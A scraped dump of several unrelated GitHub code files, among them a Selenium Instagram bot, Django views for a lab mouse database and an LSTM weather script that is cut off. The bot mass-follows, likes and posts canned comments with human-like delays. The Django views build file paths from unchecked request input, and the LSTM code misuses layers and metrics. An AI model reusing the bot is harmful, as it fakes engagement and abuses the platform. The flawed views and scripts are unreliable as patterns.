\"QWFPGJLUYARSTDHNEIOZXCVBKM\")) == self.lowercase:\n p += 1\n return p\n \n \ndef toRegExp(word):\n regexp = \"\"\n inGroup = False\n for i in range(len(word)):\n if word[i] == \"(\":\n inGroup = True\n regexp += \"[\"\n elif word[i] == \")\" and inGroup:\n inGroup = False\n regexp = regexp[0:-1] + \"]\"\n elif inGroup:\n regexp += word[i] + \"|\"\n else:\n regexp += word[i]\n return regexp\n \nw = open(sys.argv[1].replace(\"in\", \"out\"), 'w')\n\nwith open(sys.argv[1]) as f:\n words = False\n i = 1\n j = 1\n for line in f:\n if not words:\n vals = line.split()\n words = int(vals[1])\n lang = AlienLanguage(vals[0])\n elif j <= words:\n lang.addWord(line.strip())\n j += 1\n else:\n w.write(\"Case #%s: %s\\n\" % (i, lang.possibilities(line.strip())))\n i += 1\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_34/545.py","file_name":"545.py","file_ext":"py","file_size_in_byte":1417,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"72672900033","text":"import pandas as pd\nimport numpy as np\nimport re\n\ndef predict_company(words):\n words = words.upper()\n df = pd.read_csv(\"companyname.csv\")\n result =df[df['Company Name'].str.match(r\".*\"+words+r\".*\")== True]\n res=result[\"Company Name\"].tolist()\n #print(res)\n if res==[]:\n new =df['Company Name'].str.replace(' ', '')\n df['without_space']=new\n result =df[df['without_space'].str.match(r\".*\"+words+r\".*\")== True]\n res=result[\"Company Name\"].tolist() \n return res\n\nwords =\"vakilsea\"\nprint(predict_company(words))\n\n","repo_name":"GouthamVicky/AutoComplete","sub_path":"autocomp_2.py","file_name":"autocomp_2.py","file_ext":"py","file_size_in_byte":564,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"18739660691","text":"from selenium import webdriver\nfrom selenium.webdriver.common.keys import Keys\nfrom time import sleep, strftime\nfrom random import randint\nimport pandas as pd\n\n# --------------\n# In every Selenium script need to include the code below:\n\nfrom selenium.webdriver.firefox.firefox_binary import FirefoxBinary\n\n\nbinary = FirefoxBinary(\"C:\\\\Program Files\\\\Mozilla Firefox\\\\firefox.exe\")\n\ndriver = webdriver.Firefox(\n firefox_binary=binary, executable_path=r\"C:\\\\geckodriver.exe\"\n)\n\n# --------------\n\nbrowser = driver # !!!\n\nbrowser.implicitly_wait(5) # set up 5 sec delay\n# If Selenium cannot find the element, it waits for everything to load\n# and tries again.\n\nbrowser.get(\"https://www.instagram.com/\")\nsleep(3)\n\n\nusername = browser.find_element_by_name(\"username\")\nusername.send_keys(\"username\") # Change this to your own Instagram username\npassword = browser.find_element_by_name(\"password\")\npassword.send_keys(\"password\") # Change this to your own Instagram password\n\nlogin_button = browser.find_element_by_xpath(\"//button[@type='submit']\")\nlogin_button.click()\nsleep(3)\n\nnotnow = browser.find_element_by_css_selector(\"button.aOOlW.HoLwm\")\nnotnow.click() # Comment these last 2 lines out, if you don't get a pop up asking about notifications\n\nhashtag_list = [\n \"trip\",\n \"photography\",\n \"traveling\",\n \"tech\",\n \"riga\",\n \"latvia\",\n \"yoga\",\n \"sport\",\n \"running\",\n] # Change this to your own tags\n\nprev_user_list = (\n []\n) # If it's the first time you run it, use this line and comment the two below\n# prev_user_list = pd.read_csv('20190604-224633_users_followed_list.csv', delimiter=',').iloc[:,1:2] # useful to build a user log\n# prev_user_list = list(prev_user_list['0'])\n\nnew_followed = []\ntag = -1\nfollowed = 0\nlikes = 0\ncomments = 0\n\nfor hashtag in hashtag_list:\n tag += 1\n browser.get(\"https://www.instagram.com/explore/tags/\" + hashtag_list[tag] + \"/\")\n sleep(5)\n first_thumbnail = browser.find_element_by_xpath(\n '//*[@id=\"react-root\"]/section/main/article/div/div/div/div[1]/div[1]/a/div'\n )\n\n first_thumbnail.click()\n sleep(randint(1, 2))\n try:\n for x in range(1, 200):\n\n # Every time needed refreshing username\n username = browser.find_element_by_class_name(\n \"sqdOP yWX7d _8A5w5 ZIAjV\"\n )\n username.get_attribute(\"href\")\n\n if username not in prev_user_list:\n\n # If we already follow, do not unfollow\n if (\n browser.find_element_by_xpath(\n \"/html/body/div[1]/section/main/div/div[1]/article/header/div[2]/div[1]/div[2]/button\"\n ).text\n == \"Follow\"\n ):\n\n browser.find_element_by_xpath(\n \"/html/body/div[1]/section/main/div/div[1]/article/header/div[2]/div[1]/div[2]/button\"\n ).click()\n new_followed.append(username)\n followed += 1\n\n # Liking the picture\n button_like = browser.find_element_by_xpath(\n \"/html/body/div[1]/section/main/div/div[1]/article/div[3]/section[1]/span[1]/button\"\n )\n button_like.click()\n likes += 1\n sleep(randint(17, 27))\n\n # Comments and tracker\n comm_prob = randint(1, 13)\n print(\"{}_{}: {}\".format(hashtag, x, comm_prob))\n if comm_prob > 7:\n comments += 1\n browser.find_element_by_xpath(\n \"/html/body/div[3]/div[2]/div/article/div[2]/section[1]/span[2]/button/span\"\n ).click()\n comment_box = browser.find_element_by_xpath(\n \"/html/body/div[3]/div[2]/div/article/div[2]/section[3]/div/form/textarea\"\n )\n\n if comm_prob < 7:\n comment_box.send_keys(\"Awesome!\")\n sleep(1)\n elif (comm_prob > 6) and (comm_prob < 9):\n comment_box.send_keys(\"Good very good;)\")\n sleep(1)\n elif comm_prob == 9:\n comment_box.send_keys(\"prety nice\")\n sleep(1)\n elif comm_prob == 10:\n comment_box.send_keys(\"Whaat:)\")\n sleep(1)\n # Enter to post comment\n comment_box.send_keys(Keys.ENTER)\n sleep(randint(21, 29))\n\n # Next picture\n browser.find_element_by_link_text(\"Next\").click()\n sleep(randint(24, 30))\n else:\n browser.find_element_by_link_text(\"Next\").click()\n sleep(randint(21, 26))\n # Some hashtag stops refreshing photos (it may happen sometimes), it continues to the next\n except:\n continue\n\nfor n in range(0, len(new_followed)):\n prev_user_list.append(new_followed[n])\n\nupdated_user_df = pd.DataFrame(prev_user_list)\nupdated_user_df.to_csv(\"{}_users_followed_list.csv\".format(strftime(\"%Y%m%d-%H%M%S\")))\nprint(\"Liked {} photos.\".format(likes))\nprint(\"Commented {} photos.\".format(comments))\nprint(\"Followed {} new people.\".format(followed))\n","repo_name":"kosmonavt123/Bot_Insta.py","sub_path":"start_insta.py","file_name":"start_insta.py","file_ext":"py","file_size_in_byte":5490,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"20225815686","text":"from collections import deque\n\ndef solution(n, m, x, y, r, c, k):\n answer = ''\n board = [['.'] * m for _ in range(n)]\n x, y, r, c = x - 1, y - 1, r - 1, c - 1\n\n def get_distance(a, b):\n return abs(a - r) + abs(b - c)\n\n board[x][y], board[r][c] = 'S', 'E'\n # 주의) 탐색 방향을 사전순으로 해야 한다 d, l, r, u\n dx = [1, 0, 0, -1]\n dy = [0, -1, 1, 0]\n literal = ['d', 'l', 'r', 'u']\n # 최단거리가 k 보다 작거나 ( 최단거리 - k )가 홀수 인 경우\n if get_distance(x, y) > k or (get_distance(x, y) - k) % 2 == 1:\n return \"impossible\"\n\n queue = deque([])\n queue.append([x, y, '', 0])\n while queue:\n x, y, route, step = queue.popleft()\n if board[x][y] == 'E' and (k - step) % 2 == 1: # 남은 거리가 홀수이면 되돌아 오지 못하므로 탈출 불가능\n return \"impossible\"\n elif board[x][y] == 'E' and step == k:\n return route\n\n for i in range(4):\n nx, ny = x + dx[i], y + dy[i]\n if 0 <= nx < n and 0 <= ny < m:\n if get_distance(nx, ny) + step + 1 > k:\n continue\n queue.append([nx, ny, route + literal[i], step + 1])\n break # 이미 사전순으로 정렬했으므로 여기서 break 걸어주어야 시간 초과를 방지할 수 있다!\n return answer","repo_name":"ko509/Weekly-AlgoStudy","sub_path":"4차/2주차/우민지/[kakao]미로탈출명령어.py","file_name":"[kakao]미로탈출명령어.py","file_ext":"py","file_size_in_byte":1387,"program_lang":"python","lang":"ko","doc_type":"code","stars":3,"dataset":"github-code","pt":"61"} +{"seq_id":"35617933820","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.shortcuts import render\nfrom django.http import HttpResponse\nfrom datetime import datetime\nfrom django.core import serializers\nfrom django.core.files.storage import default_storage\nfrom django.core.files.base import ContentFile\n\nfrom django.db import OperationalError\n\nimport os\n# Inserting all models\nfrom .models import Genotype, Phenotype, Sacrificer, Mouse, Project_title, Mouseline\nimport time\n\n# Importing category for json sending\nfrom mousemanagement.category import Object\n\n# For converting json object\nimport json\n\n# For csv processing\nimport pandas as pd\n\n# For converting csv and save into database\nfrom mousemanagement.csv2db import csv2db\n\n# Used for path saving directory\nfrom os import listdir\nfrom os.path import isfile, join\nimport shutil\n\n#Get image gallery\ndef getimages(request):\n \n physical_id = json.loads(request.body)['physical_id']\n cwd = os.getcwd()\n\n try:\n mypath = cwd + '/mousemanagement/static/photos/%s' % physical_id\n filelists = [f for f in listdir(mypath) if isfile(join(mypath, f)) and '.jpg' in f]\n \n except OSError:\n response = makeEvent(\n name='mouseimageevent',\n result= 'The target [%s] mouse does not have image folder.',\n error=True,\n errorCode=12) \n \n return response \n\n filelistsString = ''\n\n for file in filelists:\n filelistsString += file + ','\n\n response = makeEvent(\n name='mouseimageevent',\n result= filelistsString,\n error=False,\n errorCode=0) \n\n return response\n\n#Handling image upload\ndef imageFileUpload(request):\n fileid = request.POST['fileid']\n file = request.FILES['file']\n filename = request.POST['filename']\n physical_id = request.POST['physical_id']\n cwd = os.getcwd()\n mypath = cwd + '/mousemanagement/static/photos/%s' % physical_id\n\n if(not os.path.isdir(mypath)):\n os.makedirs(mypath)\n \n\n temp_path = handle_uploaded_file(file, mypath + '/' + filename)\n\n\n #If the file is not stored on th server, gives error feedback\n error = False\n if(not os.path.isfile(mypath + '/' + filename)): \n error = True \n\n errorCode = 13 if error else 0\n\n if(error):\n response = makeUploadEvent(\n name='UploadImageEvent',\n result=record_error,\n error=error,\n errorCode=errorCode,\n fileid=fileid\n )\n else:\n response = makeUploadEvent(\n name='UploadImageEvent',\n result='%s Image Uploaded.' % filename,\n error=error,\n errorCode=errorCode,\n fileid=fileid\n ) \n\n return response \n\n#Handing file upload\ndef fileupload(request):\n fileid = request.POST['fileid']\n file = request.FILES['file']\n filename = request.POST['filename']\n\n path = handle_uploaded_file(file, filename)\n\n (record_error, error) = parsecsv(path)\n\n errorCode = 9 if error else 0\n\n if(error):\n response = makeUploadEvent(\n name='UploadCSVEvent',\n result=record_error,\n error=error,\n errorCode=errorCode,\n fileid=fileid\n )\n else:\n response = makeUploadEvent(\n name='UploadCSVEvent',\n result='All The mouse has been imported into database.',\n error=error,\n errorCode=errorCode,\n fileid=fileid\n ) \n\n return response\n\ndef parsecsv(file):\n csv2dbhandler = csv2db(file)\n finished = False\n\n #Errors occurs when there is mulitple files processing and using database\n #If Conflicts occurs, try next three seconds\n #Keep trying parsing the csv file until it finished.\n while(not finished):\n try:\n (record_error, error) = csv2dbhandler.startparsing()\n finished = True\n os.remove(file)\n except OperationalError:\n time.sleep(3)\n return (record_error, error)\n\n#Gets parts of file and write to disk drive\ndef handle_uploaded_file(file, filename):\n path = default_storage.save(filename, ContentFile(file.read()))\n return path\n\n#Get mouse table\ndef getmousetable(request):\n mouseLists = serializers.serialize(\"json\", Mouse.objects.all())\n \n \n resposne = makeMouseLists(\n name='mousetableevent',\n result= mouseLists,\n error=False,\n errorCode=0\n )\n\n return resposne\n\ndef makeMouseLists(name, result, error, errorCode):\n event = Object()\n event.name = name\n event.error = error\n event.errorCode = errorCode\n event.result = result\n event_json = event.toJSON()\n response = HttpResponse(result, content_type=\"application/json\")\n response[\"Access-Control-Allow-Origin\"] = \"*\"\n response[\"Access-Control-Allow-Headers\"] = \"http://localhost:4200/\"\n return response\n\n\n#Update Mouse section\ndef updatemouse(request):\n json_mouse_data = json.loads(request.body)\n physical_id_input = json_mouse_data['physical_id']\n error = False\n error_message = ''\n #Check If Existing mouse\n count = Mouse.objects.filter(physical_id=physical_id_input).count()\n if count == 0:\n response = makeEvent(\n name='mouseinsertEvent',\n result='Particular mouse not found in the database.Check with the admin.[%s]' % physical_id_input,\n error=True,\n errorCode=10) \n \n return response \n\n mouse = Mouse.objects.get(physical_id__exact=physical_id_input)\n mouse.gender = json_mouse_data['gender']\n\n\n #Get Mouse Line\n (mouseline, error_message, error) = getItemFromDatabase(json_mouse_data['mouseline'], error, error_message, Mouseline, 'Mouseline')\n\n #Get PhenoType\n (phenotype, error_message, error) = getItemFromDatabase(json_mouse_data['phenotype'], error, error_message, Phenotype, 'Phenotype')\n\n #Get GenotType\n (genotype, error_message, error) = getItemFromDatabase(json_mouse_data['genotype'], error, error_message, Genotype, 'Genotype')\n\n #Get Sacrificer\n (sacrificer, error_message, error) = getItemFromDatabase( json_mouse_data['sacrificer'], error, error_message, Sacrificer, 'Sacrificer')\n\n #Get Project_Title\n (project_title, error_message, error) = getItemFromDatabase(json_mouse_data['project_title'], error, error_message, Project_title, 'Project_title')\n\n\n if error:\n response = makeEvent(\n name='mouseupdateevent',\n result= error_message + '.Mouse [%s]' % physical_id_input,\n error=True,\n errorCode=10) \n \n return response \n\n mouse.mouseline = mouseline\n mouse.genotype = genotype\n mouse.sacrificer = sacrificer\n mouse.project_title = project_title\n mouse.phenotype = phenotype\n\n\n birthdate_input = json_mouse_data['birthdate']\n birthdate = datetime.strptime(birthdate_input, '%d/%m/%Y')\n birthdate = birthdate.strftime(\"%Y-%m-%d\")\n mouse.birthdate = birthdate\n\n deathdate_input = json_mouse_data['deathdate']\n deathdate = datetime.strptime(deathdate_input, '%d/%m/%Y')\n deathdate = deathdate.strftime(\"%Y-%m-%d\")\n mouse.deathdate = deathdate\n\n\n mouse.genotype_confirmation = json_mouse_data['genotype_confirmation']\n\n mouse.purpose = json_mouse_data['purpose']\n mouse.comment= json_mouse_data['comment']\n\n mouse.pfa_liver = json_mouse_data['pfa']['liver']\n mouse.pfa_liver_tumor = json_mouse_data['pfa']['liver_tumor']\n mouse.pfa_small_intenstine = json_mouse_data['pfa']['small_intenstine']\n mouse.pfa_small_intenstine_tumor = json_mouse_data['pfa']['small_intenstine_tumor']\n mouse.pfa_skin = json_mouse_data['pfa']['skin']\n mouse.pfa_skin_hair = json_mouse_data['pfa']['skin_hair']\n mouse.pfa_other = json_mouse_data['pfa']['other']\n mouse.freezedown_liver = json_mouse_data['freezedown']['liver']\n mouse.freezedown_liver_tumor = json_mouse_data['freezedown']['liver_tumor']\n mouse.freezedown_other = json_mouse_data['freezedown']['other']\n\n try:\n mouse.save()\n except ValueError:\n response = makeEvent(\n name='mouseupdateevent',\n result='Encounter internal database error.[%s]' % physical_id_input,\n error=True,\n errorCode=11\n )\n return response \n \n response = makeEvent(\n name='mouseupdateevent',\n result='The mouse has been successfullty updated.[%s]' % physical_id_input,\n error=False,\n errorCode=0\n ) \n return response\n\n\n\n#Insert Mouse section\ndef mouseinsert(request):\n json_mouse_data = json.loads(request.body)\n\n physical_id_input = json_mouse_data['physical_id']\n\n #Check If Existing mouse\n count = Mouse.objects.filter(physical_id=physical_id_input).count()\n if count != 0:\n response = makeEvent(\n name='mouseinsertEvent',\n result='Same mouse has been inserted.[%s]' % physical_id_input,\n error=True,\n errorCode=8) \n \n return response\n\n gender_input = json_mouse_data['gender']\n mouseline_input = json_mouse_data['mouseline']\n \n birthdate_input = json_mouse_data['birthdate']\n birthdate = datetime.strptime(birthdate_input, '%d/%m/%Y')\n birthdate = birthdate.strftime(\"%Y-%m-%d\")\n\n deathdate_input = json_mouse_data['deathdate']\n deathdate = datetime.strptime(deathdate_input, '%d/%m/%Y')\n deathdate = deathdate.strftime(\"%Y-%m-%d\")\n\n genotype_input = json_mouse_data['genotype']\n genotype_confirmation_input = json_mouse_data['genotype_confirmation']\n phenotype_input = json_mouse_data['phenotype']\n project_title_input = json_mouse_data['project_title']\n sacrificer_input = json_mouse_data['sacrificer']\n\n purpose_input = json_mouse_data['purpose']\n comment_input = json_mouse_data['comment']\n\n pfa_liver_input = json_mouse_data['pfa']['liver']\n pfa_liver_tumor_input = json_mouse_data['pfa']['liver_tumor']\n pfa_small_intenstine_input = json_mouse_data['pfa']['small_intenstine']\n pfa_small_intenstine_tumor_input = json_mouse_data['pfa']['small_intenstine_tumor']\n pfa_skin_input = json_mouse_data['pfa']['skin']\n pfa_skin_hair_input = json_mouse_data['pfa']['skin_hair']\n pfa_other_input = json_mouse_data['pfa']['other']\n freezedown_liver_input = json_mouse_data['freezedown']['liver']\n freezedown_liver_tumor_input = json_mouse_data['freezedown']['liver_tumor']\n freezedown_other_input = json_mouse_data['freezedown']['other']\n\n error_message = ''\n error = False\n \n\n #Get Mouse Line\n (mouseline, error_message, error) = getItemFromDatabase(mouseline_input, error, error_message, Mouseline, 'Mouseline')\n\n #Get PhenoType\n (phenotype, error_message, error) = getItemFromDatabase(phenotype_input, error, error_message, Phenotype, 'Phenotype')\n\n #Get GenotType\n (genotype, error_message, error) = getItemFromDatabase(genotype_input, error, error_message, Genotype, 'Genotype')\n\n #Get Sacrificer\n (sacrificer, error_message, error) = getItemFromDatabase(sacrificer_input, error, error_message, Sacrificer, 'Sacrificer')\n\n #Get Project_Title\n (project_title, error_message, error) = getItemFromDatabase(project_title_input, error, error_message, Project_title, 'Project_title')\n\n\n if(error):\n print(error_message)\n else:\n print('No Error')\n\n if(not error):\n mouse = Mouse(\n physical_id = physical_id_input,\n gender=gender_input,\n mouseline=mouseline,\n birthdate=birthdate,\n deathdate=deathdate,\n genotype=genotype,\n genotype_confirmation=genotype_confirmation_input,\n phenotype=phenotype,\n project_title=project_title,\n sacrificer=sacrificer,\n purpose=purpose_input,\n comment=comment_input,\n pfa_liver=pfa_liver_input,\n pfa_liver_tumor=pfa_liver_tumor_input,\n pfa_small_intenstine=pfa_small_intenstine_input,\n pfa_small_intenstine_tumor=pfa_small_intenstine_tumor_input,\n pfa_skin=pfa_skin_input,\n pfa_skin_hair=pfa_skin_hair_input,\n pfa_other=pfa_other_input,\n freezedown_liver=freezedown_liver_input,\n freezedown_liver_tumor=freezedown_liver_tumor_input,\n freezedown_other=freezedown_other_input\n )\n\n id = mouse.save()\n count = Mouse.objects.filter(physical_id=physical_id_input).count()\n if count == 1:\n response = makeEvent(\n name='mouseinsertEvent',\n result='The mouse has been successfullty inserted.[%s]' % physical_id_input,\n error=False,\n errorCode=0\n ) \n return response\n else:\n response = makeEvent(\n name='mouseinsertEvent',\n result='The mouse was unsuccessfullty inserted.[%s], <br> May due to database internal problem' % physical_id_input,\n error=True,\n errorCode=4\n ) \n return response\n else: \n response = makeEvent(\n name='mouseinsertEvent',\n result=error_message,\n error=True,\n errorCode=5\n )\n return response\n \n\n\ndef getItemFromDatabase(key, error, error_message, typeObject, typestring):\n result = ''\n try:\n result = typeObject.objects.get(name__exact=key)\n except typeObject.DoesNotExist:\n error_message += typestring + ' entered was either empty or not existed in the database.' \n error |= True\n\n return result, error_message, error\n\n#Category\n\ndef getcategory(request):\n\n before_json_objects = Object()\n\n # Get mouselines from db\n before_json_objects.mouselines = list(\n Mouseline.objects.values_list('name', flat=True))\n\n # Get genotypes from db\n before_json_objects.genotypes = list(\n Genotype.objects.values_list('name', flat=True))\n\n # Get phenotypes from db\n before_json_objects.phenotypes = list(\n Phenotype.objects.values_list('name', flat=True))\n\n # Get Sacrificer from db\n before_json_objects.sacrificers = list(\n Sacrificer.objects.values_list('name', flat=True))\n\n # Get Project Title from db\n before_json_objects.project_titles = list(\n Project_title.objects.values_list('name', flat=True))\n\n json_object = before_json_objects.toJSON()\n\n response = makeEvent(\n name='getCategoryEvent',\n result=before_json_objects,\n error=False,\n errorCode=0\n )\n\n return response\n\n\n# This is for inserting all the category\ndef category_insert(request):\n\n # Using this way to decode json data\n json_data = json.loads(request.body)\n input = json_data['input']\n type = json_data['type']\n\n count = getcount(type=type, input=input)\n\n if(count == -1):\n response = makeEvent(\n name='getCategoryEvent',\n result='',\n error=True,\n errorCode=1\n )\n return response\n\n elif(count >= 1):\n response = makeEvent(\n name='getCategoryEvent',\n result='',\n error=True,\n errorCode=2\n )\n return response\n else:\n result = makeinsertion(type=type, input=input)\n\n if(result):\n response = makeEvent(\n name='getCategoryEvent',\n result=result,\n error=False,\n errorCode=0\n )\n else:\n response = makeEvent(\n name='getCategoryEvent',\n result='',\n error=True,\n errorCode=2\n )\n return response\n\n#Get the number of records found in the database\n#Based on the inputs\ndef getcount(type, input):\n if(type == 'genotype'):\n return Genotype.objects.filter(name=input).count()\n elif(type == 'phenotype'):\n return Phenotype.objects.filter(name=input).count()\n elif(type == 'sacrificer'):\n return Sacrificer.objects.filter(name=input).count()\n elif(type == 'project_title'):\n return Project_title.objects.filter(name=input).count()\n elif(type == 'mouseline'):\n return Mouseline.objects.filter(name=input).count()\n else:\n return -1\n\n#Giving select inputs into the database, if \n#there is no such inputs in the database and \n#Return the results from the database\ndef makeinsertion(type, input):\n if(type == 'genotype'):\n genotype = Genotype(input)\n genotype.save()\n return 'New GenoType Record is inserted [%s].' % input\n elif(type == 'phenotype'):\n phenotype = Phenotype(input)\n phenotype.save()\n return 'New Phenotype Record is inserted [%s].' % input\n elif(type == 'sacrificer'):\n sacrificer = Sacrificer(input)\n sacrificer.save()\n return 'New Sacrificer Record is inserted [%s].' % input\n elif(type == 'project_title'):\n project_title = Project_title(input)\n project_title.save()\n return 'New Project title Record is inserted [%s].' % input\n elif(type == 'mouseline'):\n mouseline = Mouseline(input)\n mouseline.save()\n return 'New Mouseline Record is inserted [%s].' % input\n else:\n return None\n\n\n#Construct the event for each of response event\ndef makeEvent(name, result, error, errorCode):\n event = Object()\n event.name = name\n event.error = error\n event.errorCode = errorCode\n event.result = result\n event_json = event.toJSON()\n response = HttpResponse(event_json, content_type=\"application/json\")\n response[\"Access-Control-Allow-Origin\"] = \"*\"\n response[\"Access-Control-Allow-Headers\"] = \"http://localhost:4200/\"\n return response\n\n#Construct the event that will be sent back to server upon requesting\ndef makeUploadEvent(name, result, error, errorCode, fileid):\n event = Object()\n event.name = name\n event.error = error\n event.errorCode = errorCode\n event.result = result\n event.fileid = fileid\n event_json = event.toJSON()\n response = HttpResponse(event_json, content_type=\"application/json\")\n response[\"Access-Control-Allow-Origin\"] = \"*\"\n response[\"Access-Control-Allow-Headers\"] = \"http://localhost:4200/\"\n return response\n\n\n","repo_name":"chenyuhang01/mouse-management-back-end","sub_path":"mousedb/mousemanagement/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":18323,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"25208586015","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sat Aug 19 09:46:21 2023\r\n\r\n@author: white\r\n\"\"\"\r\n\r\nimport pandas as pd\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nfrom sklearn.model_selection import train_test_split\r\nfrom sklearn.preprocessing import StandardScaler\r\nfrom sklearn.metrics import mean_squared_error, mean_absolute_error, r2_score, f1_score\r\nimport tensorflow as tf\r\nfrom tensorflow.keras.models import Sequential\r\nfrom tensorflow.keras.layers import LSTM, Dense, Dropout, Attention\r\nfrom tensorflow.keras.wrappers.scikit_learn import KerasRegressor\r\nfrom sklearn.model_selection import GridSearchCV\r\n\r\n# Load and preprocess data\r\ndata = pd.read_csv('weather_data.csv')\r\nX = data[['mean_temp', 'max_temp', 'min_temp', 'pressure', 'clouds', 'dew_point', 'wind_speed', 'wind_direction', 'humidity', 'snow']]\r\ny_temp = data['mean_temp']\r\ny_precip = data['rain']\r\n\r\n# Define the look-ahead period (1 week)\r\nlook_ahead = 7\r\n\r\n# Create sequences for RNN\r\nX_sequences = []\r\ny_sequences_temp = []\r\ny_sequences_precip = []\r\n\r\nfor i in range(len(X) - look_ahead):\r\n X_sequences.append(X.iloc[i:i+look_ahead].values)\r\n y_sequences_temp.append(y_temp.iloc[i+look_ahead])\r\n y_sequences_precip.append(y_precip.iloc[i+look_ahead])\r\n\r\nX_sequences = np.array(X_sequences)\r\ny_sequences_temp = np.array(y_sequences_temp)\r\ny_sequences_precip = np.array(y_sequences_precip)\r\n\r\n# Split data into train and test sets\r\nX_train, X_test, y_temp_train, y_temp_test, y_precip_train, y_precip_test = train_test_split(\r\n X_sequences, y_sequences_temp, y_sequences_precip, test_size=0.1, random_state=42, shuffle=False\r\n)\r\n\r\n# Standardize features\r\nscaler = StandardScaler()\r\nX_train_scaled = scaler.fit_transform(X_train.reshape(-1, X_train.shape[2]))\r\nX_test_scaled = scaler.transform(X_test.reshape(-1, X_test.shape[2]))\r\n\r\nX_train_scaled = X_train_scaled.reshape(X_train.shape)\r\nX_test_scaled = X_test_scaled.reshape(X_test.shape)\r\n\r\n# Define a function to create the LSTM model with Attention\r\ndef create_lstm_attention_model(units=32, dropout_rate=0.2, num_layers=1, attention_units=16):\r\n model = Sequential()\r\n for _ in range(num_layers):\r\n model.add(LSTM(units, activation='relu', return_sequences=True))\r\n model.add(Dropout(dropout_rate))\r\n model.add(LSTM(units // 2, activation='relu', return_sequences=True))\r\n model.add(Attention(use_scale=True, units=attention_units))\r\n model.add(Dense(64, activation='relu'))\r\n model.add(Dense(2, activation='sigmoid')) # Two output nodes for temperature regression and precipitation classification\r\n model.compile(optimizer='adam', loss='mean_squared_error', loss_weights=[0.5, 1]) # Adjust loss weights as needed\r\n return model\r\n\r\n# Create KerasRegressor for LSTM model with Attention\r\nlstm_attention_regressor = KerasRegressor(build_fn=create_lstm_attention_model, verbose=0)\r\n\r\n# Define hyperparameters for Grid Search\r\nparam_grid = {\r\n 'units': [16, 32, 64],\r\n 'dropout_rate': [0.2, 0.3, 0.4],\r\n 'num_layers': [1, 2, 3],\r\n 'attention_units': [8, 16, 32]\r\n}\r\n\r\n# Use GridSearchCV for hyperparameter tuning\r\ngrid_search = GridSearchCV(estimator=lstm_attention_regressor, param_grid=param_grid, scoring='neg_mean_squared_error', cv=3, n_jobs=-1)\r\ngrid_result = grid_search.fit(X_train_scaled, [y_temp_train, y_precip_train])\r\n\r\n# Get the best hyperparameters from the grid search\r\nbest_units_grid = grid_result.best_params_['units']\r\nbest_dropout_rate_grid = grid_result.best_params_['dropout_rate']\r\nbest_num_layers_grid = grid_result.best_params_['num_layers']\r\nbest_attention_units_grid = grid_result.best_params_['attention_units']\r\n\r\nprint(\"Best Hyperparameters from Grid Search:\")\r\nprint(f'Units: {best_units_grid}')\r\nprint(f'Dropout Rate: {best_dropout_rate_grid}')\r\nprint(f'Number of Layers: {best_num_layers_grid}')\r\nprint(f'Attention Units: {best_attention_units_grid}')\r\n\r\n# Create the LSTM model with best hyperparameters from Grid Search\r\nbest_lstm_attention_model = create_lstm_attention_model(units=best_units_grid, dropout_rate=best_dropout_rate_grid, num_layers=best_num_layers_grid, attention_units=best_attention_units_grid)\r\n\r\n# Train the model for temperature and precipitation predictions\r\nhistory_best_lstm_attention = best_lstm_attention_model.fit(X_train_scaled, [y_temp_train, y_precip_train], epochs=50, batch_size=32, verbose=0)\r\n\r\n# Evaluate the best LSTM Attention model\r\npredictions_temp, predictions_precip_prob = best_lstm_attention_model.predict(X_test_scaled)\r\npredictions_precip = np.where(predictions_precip_prob > 0.5, 1, 0)\r\n\r\n# Evaluate metrics for Temperature\r\nmse_temp = mean_squared_error(y_temp_test, predictions_temp[:, 0])\r\nrmse_temp = np.sqrt(mse_temp)\r\nmae_temp = mean_absolute_error(y_temp_test, predictions_temp[:, 0])\r\nr2_temp = r2_score(y_temp_test, predictions_temp[:, 0])\r\nf1_score_temp = f1_score(y_temp_test, np.round(predictions_temp[:, 0]))\r\n\r\n# Evaluate metrics for Precipitation\r\naccuracy_precip = np.mean(predictions_precip[:, 1] == y_precip_test)\r\nf1_score_precip = f1_score(y_precip_test, predictions_precip[:, 1])\r\nmse_precip = mean_squared_error(y_precip_test, predictions_precip_prob[:, 1])\r\nrmse_precip = np.sqrt(mse_precip)\r\nmae_precip = mean_absolute_error(y_precip_test, predictions_precip_prob[:, 1])\r\nr2_precip = r2_score(y_precip_test, predictions_precip_prob[:, 1])\r\n\r\n# Print evaluation metrics for Temperature\r\nprint(\"Metrics for Temperature Prediction (LSTM with Attention):\")\r\nprint(f'R-squared (R2): {r2_temp:.2f}')\r\nprint(f'Mean Squared Error (MSE): {mse_temp:.2f}')\r\nprint(f'Root Mean Squared Error (RMSE): {rmse_temp:.2f}')\r\nprint(f'Mean Absolute Error (MAE): {mae_temp:.2f}')\r\nprint(f'F1 Score: {f1_score_temp:.2f}')\r\n\r\n# Print evaluation metrics for Precipitation\r\nprint(\"\\nMetrics for Precipitation Prediction (LSTM with Attention):\")\r\nprint(f'Accuracy: {accuracy_precip:.2f}')\r\nprint(f'F1 Score: {f1_score_precip:.2f}')\r\nprint(f'Mean Squared Error (MSE): {mse_precip:.2f}')\r\nprint(f'Root Mean Squared Error (RMSE): {rmse_precip:.2f}')\r\nprint(f'Mean Absolute Error (MAE): {mae_precip:.2f}')\r\nprint(f'R-squared (R2): {r2_precip:.2f}')\r\n\r\n# Create plots for Temperature predictions\r\nplt.figure(figsize=(10, 6))\r\nplt.plot(y_temp_test, label='Actual Temperature', marker='o')\r\nplt.plot(predictions_temp[:, 0], label='Predicted Temperature', marker='o')\r\nplt.xlabel('Days')\r\nplt.ylabel('Temperature')\r\nplt.title('Actual vs. Predicted Temperature')\r\nplt.legend()\r\nplt.show()\r\n\r\n# Create plots for Precipitation predictions\r\nplt.figure(figsize=(10, 6))\r\nplt.plot(y_precip_test, label='Actual Precipitation', marker='o')\r\nplt.plot(predictions_precip_prob[:, 1], label='Predicted Precipitation', 